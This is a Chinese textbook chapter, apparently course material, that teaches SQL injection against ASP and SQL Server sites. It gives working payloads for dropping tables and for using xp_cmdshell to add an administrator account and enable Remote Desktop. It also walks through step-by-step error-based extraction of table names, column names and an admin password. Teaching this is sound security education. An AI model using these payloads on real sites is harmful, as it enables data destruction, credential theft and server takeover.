SQL注入攻击
1.1.1 什么是SQL注入攻击
现在Internet上大部分的网站都是采用Web动态页面结合后台数据库架设而成的。 网站应用程序通过页面从用户的请求中得到某些参数,然后将其构造成SQL查询语句发送给数据库,数据库处理完成后,再将查询结果返回到页面,这就是一个页面执行的全过程。
但是在许多Web网站中,由于程序员的水平和工作经验参差不齐,相当一部分程序员在编写程序代码的时候,并未对用户输入的数据进行合法化的检查和判断,使得网站应用程序中的变量处理不当,很可能就会产生一种被称为SQL注入(SQL Injection)的漏洞。某些人可能会利用用户可提交或可修改的数据,构造特殊的SQL语句,将SQL语句插入到系统实际执行的SQL语句中,从而获得数据库中的某些重要信息,如管理员的用户名和密码等。
简单地说,SQL注入攻击就是将一段事先编写好的SQL查询语句通过应用程序提交给数据库,然后根据返回的结果,获得一些有用的信息,接着再发动后续的攻击。
由于SQL注入攻击是采用从正常的WWW端口访问,而且看起来和普通的Web页面访问没什么区别,所以防火墙是不会对SQL的注入攻击有任何反应的,更不要指望它会发出报警信息了。再加上很多管理员都没有每天查看IIS日志的习惯,导致服务器已经被入侵了很长时间也难以被发现。
1.1.2 SQL注入攻击原理
在SQL注入攻击过程中,恶意代码会被插入到SQL语句中,然后将该SQL语句传递到数据库中进行分析和执行。
SQL注入的原理就是提前终止正常的SQL语句,然后执行一个新的命令。由于插入的命令可能在执行的时候会被追加其他字符串,数据库会报错,因此攻击者将用注释标记“--”来终止后面的字符串。在执行时,此后的字符串将被忽略,新插入的命令在数据库中可以正确执行。
下面通过用户登录过程简单说明一下SQL注入过程,以下是用户在登录的时候需要执行的SQL语句。
select * from students where username='' and password=''
在正常情况下,用户在提交用户名“admin”和密码“123”后,查询语句如下。
select * from students where username='admin' and password='123'
但是如果用户在“用户名”一栏中提交了“';drop table class--”,则查询语句如下。
select * from students where username='';drop table class-- and password= '123'
在数据库中将首先执行查询语句“select * from students where username=''”,查询结果为空值;然后接着执行查询语句“drop table class”,表class将被删除 。
从上面的例子中可以看出,只要注入的SQL语句语法正确,数据库就会去执行该语句,而不会去判断该语句是否合法。
注 意 啦 | ||
分号(;)表示一个查询的结束和另一个查询的开始。双连字符(--)表示当前行余下的部分是一个注释,应该忽略。修改后的代码语法正确,则服务器将执行该代码。 |
1.1.3 SQL注入攻击分类
根据Web网站所使用的Web脚本语言不同,SQL注入攻击可以分为ASP注入、PHP、JSP、ASPX注入等多种方式。实际上,SQL注入原理都是相同的,只是由于Web语言环境不同,在实际注入时所使用的语句也不尽相同。
由于SQL注入攻击利用的是SQL语法,因此只要使用SQL语法的网站程序未对用户输入的SQL语句做严密的安全检查,都会存在SQL注入漏洞,如以Oracel、SQL Server、MySQL等数据库作为后台的Web网站都存在被注入攻击的可能性。
SQL注入的手法多种多样,在实际实施的过程中,可能遇到的情况非常多。未必能够一试百灵,还需要根据当时的具体情况进行分析,反复尝试,构造出巧妙的SQL语句,从而获得想要的信息。
在本章中,主要讲解如何对ASP搭配SQL Server的Web网站进行注入攻击。
1.2.1 SQL注入攻击准备工作
在进行SQL注入攻击时,需要利用到从服务器返回的各种出错信息,但是浏览器中的默认设置是不会显示详细错误信息的,不论服务器返回什么错误信息,我们都只能看到“500 – 内部服务器错误”的提示信息,如图1.1所示,无法得到有用的信息。因此,在进行SQL注入攻击前,需要先使浏览器能够返回具体错误信息。
图1.1 内部服务器错误
打开IE浏览器,在“工具(O)”菜单中选中“Internet选项(O)”,然后在弹出的窗口中选择“高级”选项卡,在“设置”列表框中取消选中“显示友好http错误信息”,然后单击“确定”按钮,关闭该窗口,如图1.2所示。
图1.2 取消显示友好http错误信息
1.2.2 寻找SQL注入点
如果要对一个网站进行SQL注入攻击,首先就需要找到存在SQL注入漏洞的地方,也就是寻找所谓的注入点。可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方。
最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:http://www.xxx.com/xxx.asp?id=YY
其中“YY”可能是数字,也有可能是字符串,分别被称为整数类型数据或者字符型数据。在本章中我们主要针对整数型数据进行SQL注入讲解。
通常可以使用以下两种方法进行检测,判断该页面链接是否存在SQL注入漏洞。
1.“加引号”法
在浏览器地址栏中的页面链接地址后面增加一个单引号,如下所示:
http://www.xxx.com/xxx.asp?id=YY’
然后访问该链接地址,浏览器可能会返回类似于下面的错误提示信息:
Microsoft JET Database Engine 错误’80040e14’
字符串的语法错误在查询表达式’ID=YY’中。
/xxx.asp 行8
如图1.3所示,页面中如果返回了类似的错误信息,说明该网站可能存在SQL注入攻击的漏洞。
图1.3 加单引号后返回错误信息
2.“1=1和1=2”法
“加引号”法很直接,也很简单,但是对SQL注入有一定了解的程序员在编写程序时,都会将单引号过滤掉。如果再使用单引号测试,就无法检测到注入点了。这时,就可以使用经典的“1=1和1=2”法进行检测。
如果正常页面链接地址为:http://www.xxx.com/xxx.asp?id=YY,在浏览器中分别输入以下两个链接地址,分别查看它们返回的结果值。
? http://www.xxx.com/xxx.asp?id=YY and 1=1。
? http://www.xxx.com/xxx.asp?id=YY and 1=2。
如果存在注入点的话,浏览器将会分别显示为:
? 正常显示,内容与正常页面显示的结果基本相同。
? 提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空(程序加了on error resume next),如图1.4所示。
如果没有注入点的存在,也很容易判断。
上述两种链接一般都会有程序定义的错误提示,或提示类型转换时出错。
图1.4 “1=2”返回错误信息
1.2.3 判断后台数据库类型
在确定了该站点可以进行SQL注入之后,接下来就需要判断该站点后台使用的数据库类型了,是Access、SQL Server、MySQL还是Oracle等。针对不同类型的数据库,所采取的注入攻击方式也不同。
一般来说,SQL Server内置了一些系统变量,如user、db_name( )等。利用这些系统变量,不仅可以判断其后台数据库是否为SQL Server,还可以得到很多非常有用的信息。如:
? http://www.xxx.com/xxx.asp?id=YY and user>0。
user的值是当前连接数据库的用户名,类型为“nvarchar”。将一个“nvarchar”的值跟×××数据(int)“0”进行比较,当执行“user>0”时,系统会先试图将“nvarchar”的值转换为“int”型。但是在转换的过程中肯定会出错,浏览器可能会返回类似于下面的错误提示信息;
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 'dbo'
转换成数据类型 int 时失败。
/xxx.asp,行 32
如果返回这样的错误信息,可以得出该站点后台使用的是SQL Server数据库,user的值为dbo,如图1.5所示。
注 意 啦 | ||
? 在SQL Server中,dbo指的是用户账户sa。 ? ODBC(Open Database Connectivity,开放数据库互连)提供了一组对数据库访问的标准接口,应用程序通过不同的ODBC驱动程序用来连接不同的数据库。 |
图1.5 user>0 返回错误信息
? http://www.xxx.com/xxx.asp?id=YY and db_name( )>0。
db_name( )的值为当前使用的数据库名称,报错信息与“user>0”的报错信息类似。
如果浏览器返回的错误信息中包含有“JET”或“Access”等字样,可以判断出后台使用的数据库为Access。
注 意 啦 | ||
据统计,国内使用ASP搭配Access或SQL Server的网站占据了70%以上,PHP搭配MySQL的网站占据了20%,其他的不足10%。其中ASP最常搭配的数据库就是Access或SQL Server。 |
由于Access数据库功能比较简单,返回的错误提示信息较少,因此,对 Access数据库进行注入攻击,主要靠猜测,先对数据库名、表名进行猜测,然后再对字段名称、字段值进行猜测。通常都可以根据一些常用的名称去猜测,如users、admins、name、id、password、pass等。当然也可以结合一些SQL注入工具进行猜解。
而对于SQL Server数据库,由于其功能强大,也就可以通过各种方法构造SQL语句,让网页程序报出错误信息,从而得出大量有用的信息,进而控制数据库服务器。下面主要讲解如何对SQL Server数据库进行注入攻击。
1.2.4 SQL Server数据库注入攻击实例
对SQL Server数据库进行注入攻击,一般来说可以通过以下两种方法进行:利用XP_CMDSHELL和构造SQL高级查询。
1.利用XP_CMDSHELL进行注入攻击
SQL Server中的“XP_CMDSHELL”是用来扩展数据库功能的命令,通过它可以来执行任意系统命令,如添加新用户、更改注册表等,从而完成对整个系统的控制。如果当前连接数据库的用户具有SA权限,并且该命令可用,那么就可以使用它很快的获得当前系统的管理员权限。
例如,在SQL Server中执行如下SQL语句。
exec master..xp_cmdshell "net user hacker benet /add" –-
master是SQL Server中的系统数据库,数据库执行完分号前面的语句后,将继续执行后面的语句,“--”后面的内容为注释,不执行。如果页面没有报错,将会在系统中创建一个名为“hacker”的用户,密码为“benet”。
案例:如图1.6所示是一个用户登录的页面,使用XP_CMDSHELL进行SQL注入攻击。
图1.6 用户登录页面
具体步骤如下所述。
(1)寻找SQL注入点。
直接在“用户名”栏中输入一个单引号,然后单击“登录”按钮,返回错误信息如图1.7所示。
图1.7 通过单引号返回错误信息
根据如图1.7所示的报错信息,可以得知该网站存在注入点,且连接的数据库类型为SQL Server,密码字段为“password”。
(2)确定数据库连接用户名。
在“用户名”栏中输入“' and user>0--”,然后单击“登录”按钮,返回错误信息如图1.8所示。
图1.8 通过user返回错误信息
由如图1.8所示的报错信息,可以得知该网站连接数据库所使用的用户名为sa。
(3)确定XP_CMDSHELL的可执行情况。
① 在“用户名”栏中输入“'; exec master..xp_cmdshell "net user hacker benet /add" --”,然后单击“登录”按钮,提示“登录失败”,但无错误信息返回。
② 在“用户名”栏中继续输入“'; exec master..xp_cmdshell "net localgroup administrators hacker /add" --”,提示“登录失败”,但无错误信息返回。
③ 在“用户名”栏中继续输入“'; exec master..xp_cmdshell 'reg add "HKEY_LOCAL_ MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 000 /f' --”,提示“登录失败”,但无错误信息返回。
④ 使用新创建的用户连接远程桌面,如果可以连接,则说明XP_CMDSHELL是可用的。至此,我们就已经拥有了对该系统的完全控制权限。
2.构造SQL高级查询
在SQL Server 2008中,XP_CMDSHELL在默认情况下是禁用的,如果管理员没有启用XP_CMDSHELL,就可以利用SQL的高级查询进行注入攻击。
在此我们先回顾一下上学期讲过的SQL Server中的“Group by”和“Having”查询子句。
图1.9 表studnet
在如图1.9所示的表student中,如果需要查询总成绩大于180分班级,需要执行如下SQL语句。
select 所在班级,SUM(成绩) as 总成绩 from student group by 所在班级 having SUM(成绩)>180
如果将“Group by”子句删除,执行如下SQL语句。
select 所在班级,SUM(成绩) as 总成绩 from student having SUM(成绩)>180
该SQL查询将无法正常执行,错误提示信息如图1.10所示。
图1.10 Having错误提示信息
根据该错误提示信息,可以得出查询的表名为“student”,有一个列的字段名称为“所在班级”。
请 思 考 | ||
上面的SQL语句在执行的时候为什么会报错? |
接着执行如下SQL语句。
select 所在班级,成绩 from students group by 所在班级
该SQL语句同样无法正确执行,错误提示信息如图1.11所示。
图1.11 Group by错误提示信息
这样就可以使用 “Having”和“Group by”子句来构造查询,将其错误提示信息通过浏览器返回,从而获得数据库的表名和表中的字段名称。
案例:使用如图1.6所示的用户登录页面,通过使用“Having”和“Group by”子句构造查询实现SQL注入攻击。
具体步骤如下所述。
(1)在确定该页面存在SQL注入漏洞后,使用“Having”子句获得表中第一个字段名称。
在“用户名”栏中输入“' having 1=1--”,然后单击“登录”按钮,返回错误信息如图1.12所示。
图1.12 通过having子句返回错误信息
由此可以得知用户登录所使用的表名称为“students”,用户名字段名称为“username”。
(2)使用“Group by”子句获得表中其他字段名称。
① 在“用户名”栏中输入“'group by username--”,然后单击“登录”按钮,返回错误信息如图1.13所示。由此可以得知密码字段名称为“password”。
② 根据以上的方法类推, 在“用户名”栏中继续输入“'group by username, password having 1=1--”,然后单击“登录”按钮,返回错误信息如图1.14所示。
图1.13 通过group by子句返回错误信息(1)
图1.14 通过group by子句返回错误信息(2)
由此可以得知该表中还有一个字段名为“class”。
③ 在“用户名”栏中继续输入“'group by username,password,class having 1=1--”,然后单击“登录”按钮,无错误信息返回,则说明该表中不再包含有其他字段。
(3)获得各字段值。
① 在“用户名”栏中输入“' and (select top 1 username from students)>1--”,然后单击“登录”按钮,返回错误信息如图1.15所示。
由此可以得知其中一个用户名为“admin”。
② 在“用户名”栏中继续输入 “' and (select top 1 password from students)>1--”,然后单击“登录”按钮,返回错误信息如图1.16所示。
由此可以得知用户amdin的密码为“admin”。
至此,我们就已经获得了该系统某一用户的用户名和密码,而且该用户极有可能就是管理员。
使用该用户账户及密码进行登录,可以成功登陆,如图1.17所示。
图1.15 通过 top子句返回错误信息(1)
图1.16 通过top子句返回错误信息(2)
图1.17 登录成功